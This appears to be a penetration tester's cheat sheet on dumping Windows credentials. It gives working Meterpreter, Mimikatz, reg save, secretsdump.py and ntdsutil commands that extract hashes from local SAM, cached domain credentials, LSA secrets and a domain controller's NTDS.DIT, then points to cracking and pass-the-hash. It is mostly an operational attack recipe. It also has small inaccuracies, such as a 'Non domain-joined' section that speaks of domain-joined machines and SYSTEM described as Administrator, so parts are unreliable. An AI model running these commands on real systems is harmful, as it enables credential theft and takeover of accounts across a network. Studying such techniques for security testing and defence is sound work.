Dumping Windows credentials

Resources:

SAM & LSA secretsThe Hacker Recipes

Dumping and Cracking mscash - Cached Domain CredentialsRed Teaming Experiments

Terminology

• SAM: Database file that contains local username and passwords (like /etc/shadow)

• NTDS.DIT: Database file that contains all Active Directory objects, stored on DC

• DC: Domain Controller

Prerequisites

NT AUTHORITY\SYSTEM (aka Administrator) is needed to dump credentials.

Meterpreter

meterpreter > getsystem

Mimikatz

mimikatz > privilege::debug
mimikatz > token::elevate

Non domain-joined machine

With domain-joined machines, passwords will be saved locally in C:\Windows\System32\config\SAM.

Returns: username:rid:lm:nt::::

Meterpreter

meterpreter > hashdump

secretsdump.py

reg save HKLM\SAM SAM
reg save HKLM\SYSTEM SYSTEM
secretsdump.py -sam SAM -system SYSTEM LOCAL

Domain joined machine

With a domain joined machine (that is not a Domain Controller) we can extract local passwords from SAM and also cached passwords (Mscash2).

Returns: username:hash::

Meterpreter

meterpreter > bg
msf6 > use post/windows/gather/cachedump

Mimikatz

mimikatz > lsadump::cache

secretsdump.py

reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY
reg save HKLM\SYSTEM SYSTEM
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

Domain Controller

Having access to a Domain Controller (DC) gives us access to NTDS.DIT. We cannot copy this file normally, as it's always in use, but we can use ntdsutil or vssadmin.

Returns: domain\username:rid:lm:nt::::

Meterpreter

meterpreter > bg
msf6 > use post/windows/gather/credentials/domain_hashdump

secretsdump.py

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
secretsdump.py -ntds NTDS.DIT -security SECURITY -system SYSTEM LOCAL

Next Steps

Cracking dumped Windows hashes

Pass-the-Hash (PtH) Attacks